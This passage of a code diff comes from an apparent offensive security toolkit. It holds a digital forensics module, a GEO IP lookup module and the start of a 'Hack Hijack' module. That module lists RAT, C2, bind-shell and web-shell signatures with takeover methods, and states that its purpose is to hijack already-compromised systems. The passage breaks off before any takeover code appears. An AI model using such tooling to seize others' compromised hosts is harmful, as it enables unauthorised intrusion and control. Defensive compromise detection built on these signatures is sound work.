f'Expected: {expected_hash[:16]}... Match: {match}') + + return { + 'ok': True, 'match': match, + 'algorithm': algorithm, + 'expected': expected_hash, + 'actual': actual, + 'file': filepath + } + + # ── Disk Imaging ───────────────────────────────────────────────────── + + def create_image(self, source: str, output: str = None, + block_size: int = 4096) -> Dict: + """Create forensic disk image using dd.""" + if not self.dd: + return {'ok': False, 'error': 'dd not found'} + + if not output: + name = Path(source).name.replace('/', '_') + output = os.path.join(self.evidence_dir, f'{name}_{int(time.time())}.img') + + self.custody.log('disk_image', source, f'Creating image: {output}') + + try: + result = subprocess.run( + [self.dd, f'if={source}', f'of={output}', f'bs={block_size}', + 'conv=noerror,sync', 'status=progress'], + capture_output=True, text=True, timeout=3600 + ) + + if os.path.exists(output): + # Hash the image + hashes = self.hash_file(output, ['md5', 'sha256']) + + self.custody.log('disk_image_complete', output, + f'Image created, SHA256: {hashes.get("hashes", {}).get("sha256", "?")}') + + return { + 'ok': True, 'source': source, 'output': output, + 'size': os.path.getsize(output), + 'hashes': hashes.get('hashes', {}), + 'dd_output': result.stderr + } + return {'ok': False, 'error': 'Image file not created', 'stderr': result.stderr} + + except subprocess.TimeoutExpired: + return {'ok': False, 'error': 'Imaging timed out (1hr limit)'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── File Carving ───────────────────────────────────────────────────── + + def carve_files(self, source: str, file_types: List[str] = None, + max_files: int = 100) -> Dict: + """Recover files from raw data by magic byte signatures.""" + if not os.path.exists(source): + return {'ok': False, 'error': 'Source file not found'} + + self.custody.log('file_carving', source, f'Starting carve, types={file_types}') + + # Filter signatures + sigs = FILE_SIGNATURES + if file_types: + type_set = {t.lower() for t in file_types} + sigs = [s for s in sigs if s['name'].lower() in type_set or + s['ext'].lstrip('.').lower() in type_set] + + carved = [] + file_size = os.path.getsize(source) + chunk_size = 1024 * 1024 # 1MB chunks + + try: + with open(source, 'rb') as f: + offset = 0 + while offset < file_size and len(carved) < max_files: + f.seek(offset) + chunk = f.read(chunk_size) + if not chunk: + break + + for sig in sigs: + pos = 0 + while pos < len(chunk) and len(carved) < max_files: + idx = chunk.find(sig['magic'], pos) + if idx == -1: + break + + abs_offset = offset + idx + # Try to find file end + file_end = abs_offset + sig['max_size'] + if sig['footer']: + f.seek(abs_offset) + search_data = f.read(min(sig['max_size'], file_size - abs_offset)) + footer_pos = search_data.find(sig['footer'], len(sig['magic'])) + if footer_pos != -1: + file_end = abs_offset + footer_pos + len(sig['footer']) + + # Extract file + extract_size = min(file_end - abs_offset, sig['max_size']) + f.seek(abs_offset) + file_data = f.read(extract_size) + + # Save carved file + carved_name = f'carved_{len(carved):04d}_{sig["name"]}{sig["ext"]}' + carved_path = os.path.join(self.carved_dir, carved_name) + with open(carved_path, 'wb') as cf: + cf.write(file_data) + + file_hash = hashlib.md5(file_data).hexdigest() + carved.append({ + 'name': carved_name, + 'path': carved_path, + 'type': sig['name'], + 'offset': abs_offset, + 'size': len(file_data), + 'md5': file_hash + }) + + pos = idx + len(sig['magic']) + + offset += chunk_size - max(len(s['magic']) for s in sigs) + + self.custody.log('file_carving_complete', source, + f'Carved {len(carved)} files') + + return { + 'ok': True, 'source': source, + 'carved': carved, 'count': len(carved), + 'output_dir': self.carved_dir + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Metadata Extraction ────────────────────────────────────────────── + + def extract_metadata(self, filepath: str) -> Dict: + """Extract metadata from files (EXIF, PDF, Office, etc.).""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + ext = Path(filepath).suffix.lower() + metadata = { + 'file': filepath, + 'name': Path(filepath).name, + 'size': os.path.getsize(filepath), + 'created': datetime.fromtimestamp(os.path.getctime(filepath), timezone.utc).isoformat(), + 'modified': datetime.fromtimestamp(os.path.getmtime(filepath), timezone.utc).isoformat(), + 'accessed': datetime.fromtimestamp(os.path.getatime(filepath), timezone.utc).isoformat(), + } + + # EXIF for images + if ext in ('.jpg', '.jpeg', '.tiff', '.tif', '.png') and HAS_PIL: + try: + img = PILImage.open(filepath) + metadata['image'] = { + 'width': img.size[0], 'height': img.size[1], + 'format': img.format, 'mode': img.mode + } + exif = img._getexif() + if exif: + exif_data = {} + gps_data = {} + for tag_id, value in exif.items(): + tag = TAGS.get(tag_id, tag_id) + if tag == 'GPSInfo': + for gps_id, gps_val in value.items(): + gps_tag = GPSTAGS.get(gps_id, gps_id) + gps_data[str(gps_tag)] = str(gps_val) + else: + # Convert bytes to string for JSON serialization + if isinstance(value, bytes): + try: + value = value.decode('utf-8', errors='replace') + except Exception: + value = value.hex() + exif_data[str(tag)] = str(value) + metadata['exif'] = exif_data + if gps_data: + metadata['gps'] = gps_data + except Exception: + pass + + # PDF metadata + elif ext == '.pdf': + try: + with open(filepath, 'rb') as f: + content = f.read(4096) + # Extract info dict + for key in [b'/Title', b'/Author', b'/Subject', b'/Creator', + b'/Producer', b'/CreationDate', b'/ModDate']: + pattern = key + rb'\s*\(([^)]*)\)' + m = re.search(pattern, content) + if m: + k = key.decode().lstrip('/') + metadata.setdefault('pdf', {})[k] = m.group(1).decode('utf-8', errors='replace') + except Exception: + pass + + # Generic file header + try: + with open(filepath, 'rb') as f: + header = f.read(16) + metadata['magic_bytes'] = header.hex() + for sig in FILE_SIGNATURES: + if header.startswith(sig['magic']): + metadata['detected_type'] = sig['name'] + break + except Exception: + pass + + self.custody.log('metadata_extract', filepath, f'Type: {metadata.get("detected_type", "unknown")}') + + return {'ok': True, **metadata} + + # ── Timeline Builder ───────────────────────────────────────────────── + + def build_timeline(self, directory: str, recursive: bool = True, + max_entries: int = 10000) -> Dict: + """Build filesystem timeline from directory metadata.""" + if not os.path.exists(directory): + return {'ok': False, 'error': 'Directory not found'} + + events = [] + count = 0 + + walk_fn = os.walk if recursive else lambda d: [(d, [], os.listdir(d))] + for root, dirs, files in walk_fn(directory): + for name in files: + if count >= max_entries: + break + filepath = os.path.join(root, name) + try: + stat = os.stat(filepath) + events.append({ + 'type': 'modified', + 'timestamp': datetime.fromtimestamp(stat.st_mtime, timezone.utc).isoformat(), + 'epoch': stat.st_mtime, + 'file': filepath, + 'size': stat.st_size + }) + events.append({ + 'type': 'created', + 'timestamp': datetime.fromtimestamp(stat.st_ctime, timezone.utc).isoformat(), + 'epoch': stat.st_ctime, + 'file': filepath, + 'size': stat.st_size + }) + events.append({ + 'type': 'accessed', + 'timestamp': datetime.fromtimestamp(stat.st_atime, timezone.utc).isoformat(), + 'epoch': stat.st_atime, + 'file': filepath, + 'size': stat.st_size + }) + count += 1 + except (OSError, PermissionError): + pass + + # Sort by timestamp + events.sort(key=lambda e: e['epoch']) + + self.custody.log('timeline_build', directory, + f'{count} files, {len(events)} events') + + return { + 'ok': True, 'directory': directory, + 'events': events, 'event_count': len(events), + 'file_count': count + } + + # ── Evidence Management ────────────────────────────────────────────── + + def list_evidence(self) -> List[Dict]: + """List evidence files.""" + evidence = [] + edir = Path(self.evidence_dir) + for f in sorted(edir.iterdir()): + if f.is_file(): + evidence.append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size, + 'modified': datetime.fromtimestamp(f.stat().st_mtime, timezone.utc).isoformat() + }) + return evidence + + def list_carved(self) -> List[Dict]: + """List carved files.""" + carved = [] + cdir = Path(self.carved_dir) + for f in sorted(cdir.iterdir()): + if f.is_file(): + carved.append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size + }) + return carved + + def get_custody_log(self) -> List[Dict]: + """Get chain of custody log.""" + return self.custody.get_log() + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_forensics() -> ForensicsEngine: + global _instance + if _instance is None: + _instance = ForensicsEngine() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Forensics module.""" + engine = get_forensics() + + while True: + print(f"\n{'='*60}") + print(f" Digital Forensics Toolkit") + print(f"{'='*60}") + print() + print(" 1 — Hash File (integrity verification)") + print(" 2 — Verify Hash") + print(" 3 — Create Disk Image") + print(" 4 — Carve Files (recover deleted)") + print(" 5 — Extract Metadata (EXIF/PDF/headers)") + print(" 6 — Build Timeline") + print(" 7 — List Evidence") + print(" 8 — List Carved Files") + print(" 9 — Chain of Custody Log") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + filepath = input(" File path: ").strip() + if filepath: + result = engine.hash_file(filepath) + if result['ok']: + print(f" Size: {result['size']} bytes") + for alg, h in result['hashes'].items(): + print(f" {alg.upper()}: {h}") + else: + print(f" Error: {result['error']}") + elif choice == '2': + filepath = input(" File path: ").strip() + expected = input(" Expected hash: ").strip() + if filepath and expected: + result = engine.verify_hash(filepath, expected) + if result['ok']: + status = 'MATCH' if result['match'] else 'MISMATCH' + print(f" {status} ({result['algorithm'].upper()})") + else: + print(f" Error: {result['error']}") + elif choice == '3': + source = input(" Source device/file: ").strip() + output = input(" Output path (blank=auto): ").strip() or None + if source: + result = engine.create_image(source, output) + if result['ok']: + mb = result['size'] / (1024*1024) + print(f" Image created: {result['output']} ({mb:.1f} MB)") + else: + print(f" Error: {result['error']}") + elif choice == '4': + source = input(" Source file/image: ").strip() + types = input(" File types (blank=all, comma-sep): ").strip() + if source: + file_types = [t.strip() for t in types.split(',')] if types else None + result = engine.carve_files(source, file_types) + if result['ok']: + print(f" Carved {result['count']} files to {result['output_dir']}") + for c in result['carved'][:10]: + print(f" {c['name']} {c['type']} {c['size']} bytes offset={c['offset']}") + else: + print(f" Error: {result['error']}") + elif choice == '5': + filepath = input(" File path: ").strip() + if filepath: + result = engine.extract_metadata(filepath) + if result['ok']: + print(f" Name: {result['name']}") + print(f" Size: {result['size']}") + print(f" Type: {result.get('detected_type', 'unknown')}") + if 'exif' in result: + print(f" EXIF entries: {len(result['exif'])}") + for k, v in list(result['exif'].items())[:5]: + print(f" {k}: {v[:50]}") + if 'gps' in result: + print(f" GPS data: {result['gps']}") + else: + print(f" Error: {result['error']}") + elif choice == '6': + directory = input(" Directory path: ").strip() + if directory: + result = engine.build_timeline(directory) + if result['ok']: + print(f" {result['file_count']} files, {result['event_count']} events") + for e in result['events'][:10]: + print(f" {e['timestamp']} {e['type']:<10} {Path(e['file']).name}") + else: + print(f" Error: {result['error']}") + elif choice == '7': + for e in engine.list_evidence(): + mb = e['size'] / (1024*1024) + print(f" {e['name']} ({mb:.1f} MB)") + elif choice == '8': + for c in engine.list_carved(): + print(f" {c['name']} ({c['size']} bytes)") + elif choice == '9': + log = engine.get_custody_log() + print(f" {len(log)} entries:") + for entry in log[-10:]: + print(f" [{entry['timestamp'][:19]}] {entry['action']}: {entry['target']}") diff --git a/modules/geoip.py b/modules/geoip.py new file mode 100644 index 0000000..d992857 --- /dev/null +++ b/modules/geoip.py @@ -0,0 +1,443 @@ +""" +AUTARCH GEO IP/Domain Lookup Module +Get geolocation info for IPs, domains, and URLs +Based on Snoop Project's GEO_IP/domain plugin +""" + +import ipaddress +import json +import os +import socket +import sys +import threading +import time +from pathlib import Path +from urllib.parse import urlparse + +# Add parent directory to path for imports +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.banner import Colors + +# Module metadata +NAME = "GEO IP Lookup" +DESCRIPTION = "Get geolocation for IPs, domains, and URLs" +AUTHOR = "darkHal Security Group" +VERSION = "1.0" +CATEGORY = "osint" + +# Try to import requests +try: + import requests +except ImportError: + requests = None + + +class GeoIPLookup: + """GEO IP/Domain lookup utility.""" + + def __init__(self): + self.session = None + self.timeout = 10 + self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" + self._init_session() + + def _init_session(self): + """Initialize requests session.""" + if requests is None: + return + + self.session = requests.Session() + adapter = requests.adapters.HTTPAdapter(max_retries=2) + self.session.mount('https://', adapter) + self.session.mount('http://', adapter) + self.session.headers.update({'User-Agent': self.user_agent}) + + def _resolve_domain(self, target: str, timeout: int = 4) -> dict: + """Resolve domain to IP addresses. + + Args: + target: Domain name or IP address. + timeout: Socket timeout in seconds. + + Returns: + Dict with resolved IPs and domain info. + """ + result = { + 'domain': None, + 'ipv4': None, + 'ipv6': None, + } + + def get_fqdn(): + try: + result['domain'] = socket.getfqdn(target) + except Exception: + result['domain'] = target + + def get_ips(): + try: + addr_info = socket.getaddrinfo(target, 443) + for info in addr_info: + ip = info[4][0] + try: + if ipaddress.IPv4Address(ip): + result['ipv4'] = ip + except Exception: + pass + try: + if ipaddress.IPv6Address(ip): + result['ipv6'] = ip + except Exception: + pass + except Exception: + pass + + # Run in threads with timeout + t1 = threading.Thread(target=get_fqdn) + t2 = threading.Thread(target=get_ips) + t1.start() + t2.start() + t1.join(timeout) + t2.join(timeout) + + return result + + def _parse_target(self, target: str) -> str: + """Parse and clean target input. + + Args: + target: User input (IP, domain, or URL). + + Returns: + Cleaned target string. + """ + target = target.strip() + + # Check if it's a URL + if '://' in target: + parsed = urlparse(target) + if parsed.hostname: + target = parsed.hostname.replace('www.', '') + elif '/' in target: + target = target.split('/')[0] + + return target + + def _is_ip(self, target: str) -> bool: + """Check if target is an IP address.""" + try: + ipaddress.ip_address(target) + return True + except Exception: + return False + + def lookup(self, target: str) -> dict: + """Perform GEO IP lookup. + + Args: + target: IP address, domain, or URL. + + Returns: + Dict with geolocation information. + """ + if self.session is None: + return {'error': 'requests library not available'} + + target = self._parse_target(target) + + # Validate input + if not target or len(target) < 4: + return {'error': 'Invalid target'} + + if '..' in target: + return {'error': 'Invalid target format'} + + result = { + 'target': target, + 'country_code': None, + 'country': None, + 'region': None, + 'city': None, + 'latitude': None, + 'longitude': None, + 'isp': None, + 'org': None, + 'ipv4': None, + 'ipv6': None, + 'domain': None, + 'map_osm': None, + 'map_google': None, + } + + # Resolve domain/IP + print(f"{Colors.CYAN}[*] Resolving target...{Colors.RESET}") + resolved = self._resolve_domain(target) + result['domain'] = resolved.get('domain') + result['ipv4'] = resolved.get('ipv4') + result['ipv6'] = resolved.get('ipv6') + + # If target is IP, use it directly + if self._is_ip(target): + try: + if ipaddress.IPv4Address(target): + result['ipv4'] = target + except Exception: + pass + try: + if ipaddress.IPv6Address(target): + result['ipv6'] = target + except Exception: + pass + + # Determine IP to lookup + lookup_ip = result['ipv4'] or target + + # Try ipwho.is first + print(f"{Colors.CYAN}[*] Querying geolocation APIs...{Colors.RESET}") + geo_data = self._query_ipwhois(lookup_ip) + + if not geo_data or geo_data.get('success') is False: + # Fallback to ipinfo.io + geo_data = self._query_ipinfo(lookup_ip) + + if geo_data: + result['country_code'] = geo_data.get('country_code') or geo_data.get('country') + result['country'] = geo_data.get('country_name') or geo_data.get('country') + result['region'] = geo_data.get('region') + result['city'] = geo_data.get('city') + result['latitude'] = geo_data.get('latitude') or geo_data.get('lat') + result['longitude'] = geo_data.get('longitude') or geo_data.get('lon') + result['isp'] = geo_data.get('isp') or geo_data.get('org') + result['org'] = geo_data.get('org') + + if not result['ipv4']: + result['ipv4'] = geo_data.get('ip') + + # Generate map links + if result['latitude'] and result['longitude']: + lat, lon = result['latitude'], result['longitude'] + result['map_osm'] = f"https://www.openstreetmap.org/#map=13/{lat}/{lon}" + result['map_google'] = f"https://www.google.com/maps/@{lat},{lon},12z" + + return result + + def _query_ipwhois(self, ip: str) -> dict: + """Query ipwho.is API. + + Args: + ip: IP address to lookup. + + Returns: + Dict with GEO data or None. + """ + try: + url = f"https://ipwho.is/{ip}" if ip else "https://ipwho.is/" + response = self.session.get(url, timeout=self.timeout) + data = response.json() + + if data.get('success') is False: + return None + + return { + 'ip': data.get('ip'), + 'country_code': data.get('country_code'), + 'country_name': data.get('country'), + 'region': data.get('region'), + 'city': data.get('city'), + 'latitude': data.get('latitude'), + 'longitude': data.get('longitude'), + 'isp': data.get('connection', {}).get('isp'), + 'org': data.get('connection', {}).get('org'), + } + except Exception as e: + print(f"{Colors.DIM} ipwho.is error: {e}{Colors.RESET}") + return None + + def _query_ipinfo(self, ip: str) -> dict: + """Query ipinfo.io API. + + Args: + ip: IP address to lookup. + + Returns: + Dict with GEO data or None. + """ + try: + url = f"https://ipinfo.io/{ip}/json" if ip else "https://ipinfo.io/json" + response = self.session.get(url, timeout=self.timeout) + data = response.json() + + loc = data.get('loc', ',').split(',') + lat = float(loc[0]) if len(loc) > 0 and loc[0] else None + lon = float(loc[1]) if len(loc) > 1 and loc[1] else None + + return { + 'ip': data.get('ip'), + 'country_code': data.get('country'), + 'country_name': data.get('country'), + 'region': data.get('region'), + 'city': data.get('city'), + 'latitude': lat, + 'longitude': lon, + 'isp': data.get('org'), + 'org': data.get('org'), + } + except Exception as e: + print(f"{Colors.DIM} ipinfo.io error: {e}{Colors.RESET}") + return None + + def lookup_self(self) -> dict: + """Lookup your own public IP. + + Returns: + Dict with geolocation information. + """ + print(f"{Colors.CYAN}[*] Looking up your public IP...{Colors.RESET}") + return self.lookup('') + + def bulk_lookup(self, targets: list) -> list: + """Perform bulk GEO lookups. + + Args: + targets: List of IPs/domains to lookup. + + Returns: + List of result dicts. + """ + results = [] + for i, target in enumerate(targets): + print(f"\n{Colors.CYAN}[{i+1}/{len(targets)}] Looking up: {target}{Colors.RESET}") + result = self.lookup(target) + results.append(result) + time.sleep(0.5) # Rate limiting + return results + + +def display_result(result: dict): + """Display lookup result nicely.""" + if 'error' in result: + print(f"{Colors.RED}[X] Error: {result['error']}{Colors.RESET}") + return + + print(f"\n{Colors.CYAN}{'=' * 50}{Colors.RESET}") + print(f"{Colors.GREEN}{Colors.BOLD}Target:{Colors.RESET} {result['target']}") + print(f"{Colors.CYAN}{'=' * 50}{Colors.RESET}") + + if result['ipv4']: + print(f" {Colors.GREEN}IPv4:{Colors.RESET} {result['ipv4']}") + if result['ipv6']: + print(f" {Colors.GREEN}IPv6:{Colors.RESET} {result['ipv6']}") + if result['domain'] and result['domain'] != result['target']: + print(f" {Colors.GREEN}Domain:{Colors.RESET} {result['domain']}") + + print() + + if result['country_code']: + country_str = f"{result['country_code']}" + if result['country'] and result['country'] != result['country_code']: + country_str += f" ({result['country']})" + print(f" {Colors.GREEN}Country:{Colors.RESET} {country_str}") + + if result['region']: + print(f" {Colors.GREEN}Region:{Colors.RESET} {result['region']}") + if result['city']: + print(f" {Colors.GREEN}City:{Colors.RESET} {result['city']}") + if result['isp']: + print(f" {Colors.GREEN}ISP:{Colors.RESET} {result['isp']}") + + if result['latitude'] and result['longitude']: + print(f"\n {Colors.GREEN}Coordinates:{Colors.RESET} {result['latitude']}, {result['longitude']}") + + if result['map_osm']: + print(f"\n {Colors.DIM}OpenStreetMap: {result['map_osm']}{Colors.RESET}") + if result['map_google']: + print(f" {Colors.DIM}Google Maps: {result['map_google']}{Colors.RESET}") + + print() + + +def display_menu(): + """Display the GEO IP module menu.""" + print(f""" +{Colors.CYAN} GEO IP/Domain Lookup{Colors.RESET} +{Colors.DIM} Get geolocation for IPs, domains, and URLs{Colors.RESET} +{Colors.DIM}{'─' * 50}{Colors.RESET} + + {Colors.GREEN}[1]{Colors.RESET} Lookup IP/Domain/URL + {Colors.GREEN}[2]{Colors.RESET} Lookup My IP + {Colors.GREEN}[3]{Colors.RESET} Bulk Lookup from File + + {Colors.RED}[0]{Colors.RESET} Back to OSINT Menu +""") + + +def run(): + """Main entry point for the module.""" + if requests is None: + print(f"{Colors.RED}[X] This module requires 'requests' library{Colors.RESET}") + print(f"{Colors.DIM} Install with: pip install requests{Colors.RESET}") + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + return + + lookup = GeoIPLookup() + + while True: + display_menu() + choice = input(f"{Colors.GREEN}Select option: {Colors.RESET}").strip() + + if choice == '0': + break + + elif choice == '1': + print(f"\n{Colors.CYAN}Enter IP, domain, or URL:{Colors.RESET}") + print(f"{Colors.DIM}Examples: 8.8.8.8, google.com, https://example.com/path{Colors.RESET}") + target = input(f"\n{Colors.GREEN}Target: {Colors.RESET}").strip() + + if not target: + continue + + result = lookup.lookup(target) + display_result(result) + input(f"{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + elif choice == '2': + result = lookup.lookup_self() + display_result(result) + input(f"{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + elif choice == '3': + print(f"\n{Colors.CYAN}Enter path to file with targets (one per line):{Colors.RESET}") + filepath = input(f"\n{Colors.GREEN}File path: {Colors.RESET}").strip() + + if not filepath or not os.path.exists(filepath): + print(f"{Colors.RED}[X] File not found{Colors.RESET}") + continue + + try: + with open(filepath, 'r') as f: + targets = [line.strip() for line in f if line.strip()] + + if not targets: + print(f"{Colors.RED}[X] No targets found in file{Colors.RESET}") + continue + + print(f"{Colors.GREEN}[+] Found {len(targets)} targets{Colors.RESET}") + confirm = input(f"\n{Colors.YELLOW}Proceed with lookup? (y/n): {Colors.RESET}").strip().lower() + + if confirm == 'y': + results = lookup.bulk_lookup(targets) + for result in results: + display_result(result) + + except Exception as e: + print(f"{Colors.RED}[X] Error reading file: {e}{Colors.RESET}") + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + else: + print(f"{Colors.RED}[!] Invalid option{Colors.RESET}") + + +if __name__ == "__main__": + run() diff --git a/modules/hack_hijack.py b/modules/hack_hijack.py new file mode 100644 index 0000000..9e9b097 --- /dev/null +++ b/modules/hack_hijack.py @@ -0,0 +1,1100 @@ +"""AUTARCH Hack Hijack Module + +Scans target systems for signs of existing compromise — open backdoors, +known exploit artifacts, rogue services, suspicious listeners — then +provides tools to take over those footholds. + +Detection signatures include: +- EternalBlue/DoublePulsar (MS17-010) backdoors +- Common RAT listeners (Meterpreter, Cobalt Strike, njRAT, etc.) +- Known backdoor ports and banner fingerprints +- Web shells on HTTP services +- Suspicious SSH authorized_keys or rogue SSHD +- Open reverse-shell listeners +- Rogue SOCKS/HTTP proxies +- Cryptocurrency miners +""" + +DESCRIPTION = "Hijack already-compromised systems" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import json +import time +import socket +import struct +import threading +import subprocess +from datetime import datetime, timezone +from pathlib import Path +from typing import Dict, List, Optional, Any +from dataclasses import dataclass, field + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + import shutil + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Known Backdoor Signatures ──────────────────────────────────────────────── + +@dataclass +class BackdoorSignature: + name: str + port: int + protocol: str # tcp / udp + banner_pattern: str = '' # regex or substring in banner + probe: bytes = b'' # bytes to send to trigger banner + description: str = '' + category: str = 'generic' # eternalblue, rat, webshell, miner, proxy, shell + takeover_method: str = '' # how to hijack + + +# Port-based detection signatures +BACKDOOR_SIGNATURES: List[BackdoorSignature] = [ + # ── EternalBlue / DoublePulsar ──────────────────────────────────────── + BackdoorSignature( + name='DoublePulsar SMB Backdoor', + port=445, + protocol='tcp', + description='NSA DoublePulsar implant via EternalBlue (MS17-010). ' + 'Detected by SMB Trans2 SESSION_SETUP anomaly.', + category='eternalblue', + takeover_method='doublepulsar_inject', + ), + + # ── Common RAT / C2 Listeners ───────────────────────────────────────── + BackdoorSignature( + name='Meterpreter Reverse TCP', + port=4444, + protocol='tcp', + banner_pattern='', + description='Default Metasploit Meterpreter reverse TCP handler.', + category='rat', + takeover_method='meterpreter_session', + ), + BackdoorSignature( + name='Meterpreter Bind TCP', + port=4444, + protocol='tcp', + banner_pattern='', + description='Metasploit bind shell / Meterpreter bind TCP.', + category='rat', + takeover_method='meterpreter_connect', + ), + BackdoorSignature( + name='Cobalt Strike Beacon (HTTPS)', + port=443, + protocol='tcp', + banner_pattern='', + description='Cobalt Strike default HTTPS beacon listener.', + category='rat', + takeover_method='beacon_takeover', + ), + BackdoorSignature( + name='Cobalt Strike Beacon (HTTP)', + port=80, + protocol='tcp', + banner_pattern='', + description='Cobalt Strike HTTP beacon listener.', + category='rat', + takeover_method='beacon_takeover', + ), + BackdoorSignature( + name='Cobalt Strike DNS', + port=53, + protocol='udp', + description='Cobalt Strike DNS beacon channel.', + category='rat', + takeover_method='dns_tunnel_hijack', + ), + BackdoorSignature( + name='njRAT', + port=5552, + protocol='tcp', + banner_pattern='njRAT', + description='njRAT default C2 port.', + category='rat', + takeover_method='generic_connect', + ), + BackdoorSignature( + name='DarkComet', + port=1604, + protocol='tcp', + banner_pattern='', + description='DarkComet RAT default port.', + category='rat', + takeover_method='generic_connect', + ), + BackdoorSignature( + name='Quasar RAT', + port=4782, + protocol='tcp', + description='Quasar RAT default listener.', + category='rat', + takeover_method='generic_connect', + ), + BackdoorSignature( + name='AsyncRAT', + port=6606, + protocol='tcp', + description='AsyncRAT default C2 port.', + category='rat', + takeover_method='generic_connect', + ), + BackdoorSignature( + name='Gh0st RAT', + port=8000, + protocol='tcp', + banner_pattern='Gh0st', + probe=b'Gh0st\x00', + description='Gh0st RAT C2 communication.', + category='rat', + takeover_method='generic_connect', + ), + BackdoorSignature( + name='Poison Ivy', + port=3460, + protocol='tcp', + description='Poison Ivy RAT default port.', + category='rat', + takeover_method='generic_connect', + ), + + # ── Shell Backdoors ─────────────────────────────────────────────────── + BackdoorSignature( + name='Netcat Listener', + port=4445, + protocol='tcp', + description='Common netcat reverse/bind shell port.', + category='shell', + takeover_method='raw_shell', + ), + BackdoorSignature( + name='Bind Shell (31337)', + port=31337, + protocol='tcp', + description='Classic "elite" backdoor port.', + category='shell', + takeover_method='raw_shell', + ), + BackdoorSignature( + name='Bind Shell (1337)', + port=1337, + protocol='tcp', + description='Common backdoor/bind shell port.', + category='shell', + takeover_method='raw_shell', + ), + BackdoorSignature( + name='Telnet Backdoor', + port=23, + protocol='tcp', + banner_pattern='login:', + description='Telnet service — often left open with weak/default creds.', + category='shell', + takeover_method='telnet_bruteforce', + ), + + # ── Web Shells ──────────────────────────────────────────────────────── + BackdoorSignature( + name='PHP Web Shell (8080)', + port=8080, + protocol='tcp', + banner_pattern='', + description='HTTP service on non-standard port — check for web shells.', + category='webshell', + takeover_method='webshell_detect', + ), + BackdoorSignature( + name='PHP Web Shell (8888)', + port=8888, + protocol='tcp', + description='HTTP service on port 8888 — common web shell host.', + category='webshell', + takeover_method='webshell_detect', + ), + + # ── Proxies / Tunnels ───────────────────────────────────────────────── + BackdoorSignature( + name='SOCKS Proxy', + port=1080, + protocol='tcp', + description='SOCKS proxy — may be a pivot point.', + category='proxy', + takeover_method='socks_connect', + ), + BackdoorSignature( + name='SOCKS5 Proxy (9050)', + port=9050, + protocol='tcp', + description='Tor SOCKS proxy or attacker pivot.', + category='proxy', + takeover_method='socks_connect', + ), + BackdoorSignature( + name='HTTP Proxy (3128)', + port=3128, + protocol='tcp', + description='Squid/HTTP proxy — possible attacker tunnel.', + category='proxy', + takeover_method='http_proxy_use', + ), + BackdoorSignature( + name='SSH Tunnel (2222)', + port=2222, + protocol='tcp', + banner_pattern='SSH-', + description='Non-standard SSH — possibly attacker-planted SSHD.', + category='shell', + takeover_method='ssh_connect', + ), + + # ── Miners ──────────────────────────────────────────────────────────── + BackdoorSignature( + name='Cryptominer Stratum', + port=3333, + protocol='tcp', + banner_pattern='mining', + description='Stratum mining protocol — cryptojacking indicator.', + category='miner', + takeover_method='miner_redirect', + ), + BackdoorSignature( + name='Cryptominer (14444)', + port=14444, + protocol='tcp', + description='Common XMR mining pool port.', + category='miner', + takeover_method='miner_redirect', + ), +] + +# Additional ports to probe beyond signature list +EXTRA_SUSPICIOUS_PORTS = [ + 1234, 1337, 2323, 3389, 4321, 4443, 4444, 4445, 5555, 5900, + 6660, 6666, 6667, 6697, 7777, 8443, 9001, 9090, 9999, + 12345, 17321, 17322, 20000, 27015, 31337, 33890, 40000, + 41337, 43210, 50000, 54321, 55553, 65535, +] + + +# ── Scan Result Types ───────────────────────────────────────────────────────── + +@dataclass +class PortResult: + port: int + protocol: str + state: str # open, closed, filtered + banner: str = '' + service: str = '' + + +@dataclass +class BackdoorHit: + signature: str # name from BackdoorSignature + port: int + confidence: str # high, medium, low + banner: str = '' + details: str = '' + category: str = '' + takeover_method: str = '' + + +@dataclass +class ScanResult: + target: str + scan_time: str + duration: float + open_ports: List[PortResult] = field(default_factory=list) + backdoors: List[BackdoorHit] = field(default_factory=list) + os_guess: str = '' + smb_info: Dict[str, Any] = field(default_factory=dict) + nmap_raw: str = '' + + def to_dict(self) -> dict: + return { + 'target': self.target, + 'scan_time': self.scan_time, + 'duration': round(self.duration, 2), + 'open_ports': [ + {'port': p.port, 'protocol': p.protocol, + 'state': p.state, 'banner': p.banner, 'service': p.service} + for p in self.open_ports + ], + 'backdoors': [ + {'signature': b.signature, 'port': b.port, + 'confidence': b.confidence, 'banner': b.banner, + 'details': b.details, 'category': b.category, + 'takeover_method': b.takeover_method} + for b in self.backdoors + ], + 'os_guess': self.os_guess, + 'smb_info': self.smb_info, + } + + +# ── Hack Hijack Service ────────────────────────────────────────────────────── + +class HackHijackService: + """Scans for existing compromises and provides takeover capabilities.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'hack_hijack') + os.makedirs(self._data_dir, exist_ok=True) + self._scans_file = os.path.join(self._data_dir, 'scans.json') + self._scans: List[dict] = [] + self._load_scans() + self._active_sessions: Dict[str, dict] = {} + + def _load_scans(self): + if os.path.exists(self._scans_file): + try: + with open(self._scans_file, 'r') as f: + self._scans = json.load(f) + except Exception: + self._scans = [] + + def _save_scans(self): + with open(self._scans_file, 'w') as f: + json.dump(self._scans[-100:], f, indent=2) # keep last 100 + + # ── Port Scanning ───────────────────────────────────────────────────── + + def scan_target(self, target: str, scan_type: str = 'quick', + custom_ports: List[int] = None, + timeout: float = 3.0, + progress_cb=None) -> ScanResult: + """Scan a target for open ports and backdoor indicators. + + scan_type: 'quick' (signature ports only), 'full' (signature + extra), + 'nmap' (use 